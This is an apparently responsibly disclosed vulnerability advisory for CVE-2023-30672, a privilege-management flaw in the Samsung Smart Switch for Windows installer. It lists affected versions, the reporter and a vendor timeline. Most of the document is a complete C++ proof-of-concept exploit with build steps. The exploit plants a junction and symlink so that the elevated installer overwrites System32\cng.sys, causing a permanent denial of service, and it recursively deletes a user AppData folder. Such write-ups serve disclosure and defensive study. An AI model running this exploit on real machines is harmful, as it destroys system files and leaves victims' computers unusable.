0x01: Details
- Title: Improper privilege management vulnerability in Samsung Smart Switch for Windows Installer
- CVE ID: CVE-2023-30672
- Vendor ID : SVE-2023-0310
- Advisory Published: 2023/07/06
- Advisory URL : https://security.samsungmobile.com/serviceWeb.smsb?year=2023&month=07
0x02: Test Environment
- Samsung Smart Switch for Windows : 4.3.23022_1
- OS : Windows 10 Pro 64-bit 21H2 (build 19045.2604)
0x03: Vulnerability details
Improper privilege management vulnerability in Samsung Smart Switch for Windows Installer prior to version 4.3.23043_3 allows attackers to cause permanent DoS via directory junction.
0x04: Technical description
The Samsung Smart Switch installer operates with Administrator privileges. During the installation process, the installer creates an Smart Switch.lnk
file in the C:\Users\%Username%\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch
directory. At this time, the path C:\Users\%Username%\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Smart Switch.lnk
can be accessed even by normal users, so by creating a symbolic link to C:\Windows\System32\cng.sys
, the administrator’s authority exploits an Arbitrary file creation vulnerability. At this time, if the cng.sys
file is written in the C:\Windows\System32
directory, the permanent Denial-of-Service vulnerability occurs.
Note: %Username%
must be replaced with the account name of the user logged into Windows.
0x05: Proof-of-Concept (PoC)
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#define _CRT_SECURE_NO_WARNINGS
#include <iostream>
#include <windows.h>
#include <wchar.h>
#include <string>
#include "NtDefine.h"
DWORD LastError = 0;
void SetLastErr(DWORD err) {
LastError = err;
}
std::wstring BuildNativePath(std::wstring path) {
if (path.rfind(L"\\", 0) != std::wstring::npos) {
return path;
}
path = L"\\??\\" + path;
return path;
}
HANDLE OpenDirectory(std::wstring directory, DWORD access_mask, DWORD share_mode, DWORD creation_disposition) {
directory = BuildNativePath(directory);
HANDLE h;
OBJECT_ATTRIBUTES objattr;
UNICODE_STRING target;
IO_STATUS_BLOCK io;
NTSTATUS status;
_RtlInitUnicodeString(&target, directory.c_str());
InitializeObjectAttributes(&objattr, &target, OBJ_CASE_INSENSITIVE, nullptr, nullptr);
switch (creation_disposition) {
case CREATE_NEW:
status = _NtCreateFile(&h, access_mask, &objattr, &io, NULL, FILE_ATTRIBUTE_NORMAL, share_mode,
FILE_CREATE, FILE_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT, NULL, NULL);
break;
case OPEN_EXISTING:
status = _NtCreateFile(&h, access_mask, &objattr, &io, NULL, FILE_ATTRIBUTE_NORMAL, share_mode,
FILE_OPEN, FILE_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT, NULL, NULL);
break;
default:
status = _NtCreateFile(&h, access_mask, &objattr, &io, NULL, FILE_ATTRIBUTE_NORMAL, share_mode,
FILE_OPEN_IF, FILE_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT, NULL, NULL);
}
if (status != STATUS_SUCCESS) {
SetLastErr(_RtlNtStatusToDosError(status));
return NULL;
}
return h;
}
bool CreateMountPoint(std::wstring dir, std::wstring target, std::wstring printname) {
HANDLE hdir = OpenDirectory(dir, GENERIC_WRITE, ALL_SHARING, OPEN_ALWAYS);
target = BuildNativePath(target);
size_t targetsz = target.size() * 2;
size_t printnamesz = printname.size() * 2;
size_t pathbuffersz = targetsz + printnamesz + 12;
size_t totalsz = pathbuffersz + REPARSE_DATA_BUFFER_HEADER_LENGTH;
REPARSE_DATA_BUFFER* rdb = (REPARSE_DATA_BUFFER*)_malloca(totalsz);
memset(rdb, 0, totalsz);
rdb->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
rdb->ReparseDataLength = static_cast<USHORT>(pathbuffersz);
rdb->Reserved = NULL;
rdb->MountPointReparseBuffer.SubstituteNameOffset = NULL;
rdb->MountPointReparseBuffer.SubstituteNameLength = static_cast<USHORT>(targetsz);
memcpy(rdb->MountPointReparseBuffer.PathBuffer, target.c_str(), targetsz + 2);
rdb->MountPointReparseBuffer.PrintNameOffset = static_cast<USHORT>(targetsz + 2);
rdb->MountPointReparseBuffer.PrintNameLength = static_cast<USHORT>(printnamesz);
memcpy(rdb->MountPointReparseBuffer.PathBuffer + target.size() + 1, printname.c_str(), printnamesz + 2);
DWORD cb = 0;
bool ret = DeviceIoControl(hdir, FSCTL_SET_REPARSE_POINT, rdb, totalsz, nullptr, NULL, &cb, NULL) == TRUE;
_NtClose(hdir);
return ret;
}
HANDLE CreateNativeSymlink(std::wstring link, std::wstring target) {
HANDLE ret;
UNICODE_STRING ulnk;
UNICODE_STRING utarget;
NTSTATUS status;
_RtlInitUnicodeString(&ulnk, link.c_str());
_RtlInitUnicodeString(&utarget, target.c_str());
OBJECT_ATTRIBUTES objattr;
InitializeObjectAttributes(&objattr, &ulnk, OBJ_CASE_INSENSITIVE, nullptr, nullptr);
NTSTATUS stat = _NtCreateSymbolicLinkObject(&ret, SYMBOLIC_LINK_ALL_ACCESS,
&objattr, &utarget);
if (stat != STATUS_SUCCESS) {
SetLastErr(_RtlNtStatusToDosError(stat));
return nullptr;
}
return ret;
}
DWORD DeleteAllFiles(LPCWSTR szDir, DWORD recur) {
HANDLE hSrch;
WIN32_FIND_DATA wfd;
DWORD res = 1;
TCHAR DelPath[MAX_PATH];
TCHAR FullPath[MAX_PATH];
TCHAR TempPath[MAX_PATH];
lstrcpy(DelPath, szDir);
lstrcpy(TempPath, szDir);
if (lstrcmp(DelPath + lstrlen(DelPath) - 4, L"\\*.*") != 0) {
lstrcat(DelPath, L"\\*.*");
}
hSrch = FindFirstFile(DelPath, &wfd);
if (hSrch == INVALID_HANDLE_VALUE) {
if (recur > 0) RemoveDirectory(TempPath);
return -1;
}
while (res) {
wsprintf(FullPath, L"%s\\%s", TempPath, wfd.cFileName);
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_READONLY) {
SetFileAttributes(FullPath, FILE_ATTRIBUTE_NORMAL);
}
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
if (lstrcmp(wfd.cFileName, L".")
&& lstrcmp(wfd.cFileName, L"..")) {
recur++;
DeleteAllFiles(FullPath, recur);
recur--;
}
}
else {
DeleteFile(FullPath);
}
res = FindNextFile(hSrch, &wfd);
}
FindClose(hSrch);
if (recur > 0) RemoveDirectory(TempPath);
return 0;
}
void NtInit() {
LoadLibrary(L"ntdll.dll");
HMODULE hm = GetModuleHandle(L"ntdll.dll");
_RtlInitUnicodeString = (ULONG(WINAPI*)(PUNICODE_STRING, PCWSTR))GetProcAddress(hm, "RtlInitUnicodeString");
_RtlNtStatusToDosError = (ULONG(WINAPI*) (NTSTATUS Status))GetProcAddress(hm, "RtlNtStatusToDosError");
_NtCreateSymbolicLinkObject = (NTSTATUS(WINAPI*)(
OUT PHANDLE pHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PUNICODE_STRING DestinationName))GetProcAddress(hm, "NtCreateSymbolicLinkObject");
_NtCreateFile = (NTSTATUS(WINAPI*)(
PHANDLE FileHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PIO_STATUS_BLOCK IoStatusBlock,
PLARGE_INTEGER AllocationSize,
ULONG FileAttributes,
ULONG ShareAccess,
ULONG CreateDisposition,
ULONG CreateOptions,
PVOID EaBuffer,
ULONG EaLength))GetProcAddress(hm, "NtCreateFile");
_NtClose = (NTSTATUS(WINAPI*)(HANDLE Handle))GetProcAddress(hm, "NtClose");
}
int main() {
NtInit();
std::wstring UserProfilePath = std::wstring(_wgetenv(L"USERPROFILE"));
std::wstring LinkFile = L"Smart Switch.lnk";
std::wstring LinkDirectory = UserProfilePath + std::wstring(L"\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch");
std::wstring TargetFile = L"C:\\Windows\\System32\\cng.sys";
std::wstring RpcControl = L"\\RPC Control";
std::wstring RpcControlFile = RpcControl + L"\\" + LinkFile;
std::wstring ParentDirectory = UserProfilePath + std::wstring(L"\\AppData\\Roaming\\Microsoft\\Internet Explorer");
if (GetFileAttributesW(ParentDirectory.c_str()) != INVALID_FILE_ATTRIBUTES) {
DeleteAllFiles(ParentDirectory.c_str(), 1);
}
CreateDirectoryW(ParentDirectory.c_str(), NULL);
if (!CreateMountPoint(LinkDirectory, RpcControl, L"Junction")) {
std::cout << "[-] RPC Control Junction Failed" << std::endl;
exit(0);
}
std::cout << "[+] RPC Control Junction Success" << std::endl;
HANDLE hFile = CreateNativeSymlink(RpcControlFile, BuildNativePath(TargetFile));
if (hFile == INVALID_HANDLE_VALUE || hFile == NULL) {
std::cout << "[-] CreateNativeSymlink Failed" << std::endl;
exit(0);
}
std::cout << "[+] CreateNativeSymlink Success Handle : " << hFile << std::endl;
std::cout << "[+] CreateSymlink Success" << std::endl;
std::wcout << L"[+] " << (LinkDirectory + L"\\" + LinkFile) << L" -> " << TargetFile << std::endl;
std::cout << "Press ENTER to exit and delete the symlink" << std::endl;
getchar();
return 0;
}
main.cpp
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#pragma once
#include <Windows.h>
#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1)
#define STATUS_SUCCESS 0x00000000
#define OBJ_CASE_INSENSITIVE 0x00000040L
#define FILE_OPEN 0x00000001
#define FILE_OPEN_IF 0x00000003
#define FILE_CREATE 0x00000002
#define FILE_DIRECTORY_FILE 0x00000001
#define FILE_DIRECTORY_FILE 0x00000001
#define FILE_OPEN_REPARSE_POINT 0x00200000
#define ALL_SHARING FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE
#define GENERIC_READ_WRITE GENERIC_READ|GENERIC_WRITE
#define InitializeObjectAttributes( p, n, a, r, s ) { \
(p)->uLength = sizeof( OBJECT_ATTRIBUTES ); \
(p)->hRootDirectory = r; \
(p)->uAttributes = a; \
(p)->pObjectName = n; \
(p)->pSecurityDescriptor = s; \
(p)->pSecurityQualityOfService = NULL; \
}
typedef struct _REPARSE_DATA_BUFFER {
ULONG ReparseTag;
USHORT ReparseDataLength;
USHORT Reserved;
union {
struct {
USHORT SubstituteNameOffset;
USHORT SubstituteNameLength;
USHORT PrintNameOffset;
USHORT PrintNameLength;
ULONG Flags;
WCHAR PathBuffer[1];
} SymbolicLinkReparseBuffer;
struct {
USHORT SubstituteNameOffset;
USHORT SubstituteNameLength;
USHORT PrintNameOffset;
USHORT PrintNameLength;
WCHAR PathBuffer[1];
} MountPointReparseBuffer;
struct {
UCHAR DataBuffer[1];
} GenericReparseBuffer;
} DUMMYUNIONNAME;
} REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;
typedef struct _FILE_DISPOSITION_INFORMATION_EX {
ULONG Flags;
} FILE_DISPOSITION_INFORMATION_EX, * PFILE_DISPOSITION_INFORMATION_EX;
#define REPARSE_DATA_BUFFER_HEADER_LENGTH FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer)
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING* PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {
ULONG uLength;
HANDLE hRootDirectory;
PUNICODE_STRING pObjectName;
ULONG uAttributes;
PVOID pSecurityDescriptor;
PVOID pSecurityQualityOfService;
} OBJECT_ATTRIBUTES;
typedef OBJECT_ATTRIBUTES* POBJECT_ATTRIBUTES;
typedef struct _IO_STATUS_BLOCK {
union {
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
ULONG(WINAPI* _RtlInitUnicodeString)(PUNICODE_STRING, PCWSTR);
ULONG(WINAPI* _RtlNtStatusToDosError)(NTSTATUS Status);
NTSTATUS(WINAPI* _NtCreateFile)(
PHANDLE FileHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PIO_STATUS_BLOCK IoStatusBlock,
PLARGE_INTEGER AllocationSize,
ULONG FileAttributes,
ULONG ShareAccess,
ULONG CreateDisposition,
ULONG CreateOptions,
PVOID EaBuffer,
ULONG EaLength);
NTSTATUS(WINAPI* _NtCreateSymbolicLinkObject)(
OUT PHANDLE pHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PUNICODE_STRING DestinationName);
NTSTATUS(WINAPI* _NtClose)(
HANDLE Handle
);
NtDefine.h
- Use Visual Studio 2022.
- Compile the project in the exploit directory in x86 Release mode.
- Run exploit.exe.
- Run Smart Switch PC_4.3.23022_1.exe to perform Samsung Smart Switch installation.
0x06: Affected Products
This vulnerability affects the following product:
- Smart Switch PC < 4.3.23043_3
0x07: Credit information
HeeChan Kim (@heegong123) of TeamH4C
0x08: TimeLine
- 2023/02/23 : First time contacted via Samsung Mobile Security.
- 2023/02/23 : I received a call from Samsung Mobile Security to analyze the vulnerability.
- 2023/03/17 : I received a call from Samsung Mobile Security to determine the vulnerability as high and proceed with the patch.
- 2023/07/06 : The vulnerability has been patched, and CVE-2023-30672(SVE-2023-0310) has been issued.